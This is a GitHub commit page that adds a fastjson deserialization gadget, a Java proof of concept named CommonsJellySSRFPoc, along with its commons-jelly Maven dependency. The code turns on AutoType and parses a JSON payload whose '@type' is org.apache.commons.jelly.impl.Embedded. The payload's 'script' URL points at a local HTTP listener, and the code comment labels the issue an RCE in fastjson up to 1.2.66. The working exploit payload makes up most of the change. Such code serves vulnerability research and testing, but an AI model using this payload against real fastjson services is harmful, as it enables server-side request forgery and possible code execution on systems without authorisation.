Skip to content

Commit f4f46da

Browse files
author
“threedr3am”
committed
feat:添加fastjson SSRF gadget - commons-jelly
1 parent 4963c65 commit f4f46da

File tree

2 files changed

+41
-0
lines changed

2 files changed

+41
-0
lines changed

fastjson/pom.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -99,5 +99,11 @@
9999
<artifactId>cocoon-slide</artifactId>
100100
<version>2.1.11</version>
101101
</dependency>
102+
103+
<dependency>
104+
<groupId>commons-jelly</groupId>
105+
<artifactId>commons-jelly</artifactId>
106+
<version>1.0.1</version>
107+
</dependency>
102108
</dependencies>
103109
</project>
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.HTTPServer;
6+
7+
/**
8+
* fastjson <= 1.2.66 RCE,需要开启AutoType
9+
*
10+
*
11+
* <dependency>
12+
* <groupId>commons-jelly</groupId>
13+
* <artifactId>commons-jelly</artifactId>
14+
* <version>1.0.1</version>
15+
* </dependency>
16+
*
17+
* @author threedr3am
18+
*/
19+
public class CommonsJellySSRFPoc {
20+
21+
static {
22+
HTTPServer.PORT = 23234;
23+
HTTPServer.run(null);
24+
}
25+
26+
public static void main(String[] args) {
27+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
28+
String payload = "{\"@type\":\"org.apache.commons.jelly.impl.Embedded\",\"script\": \"http://127.0.0.1:23234?aaaa=111&bb=242\"}";
29+
try {
30+
JSON.parse(payload);
31+
} catch (Exception e) {
32+
e.printStackTrace();
33+
}
34+
}
35+
}

0 commit comments

Comments
 (0)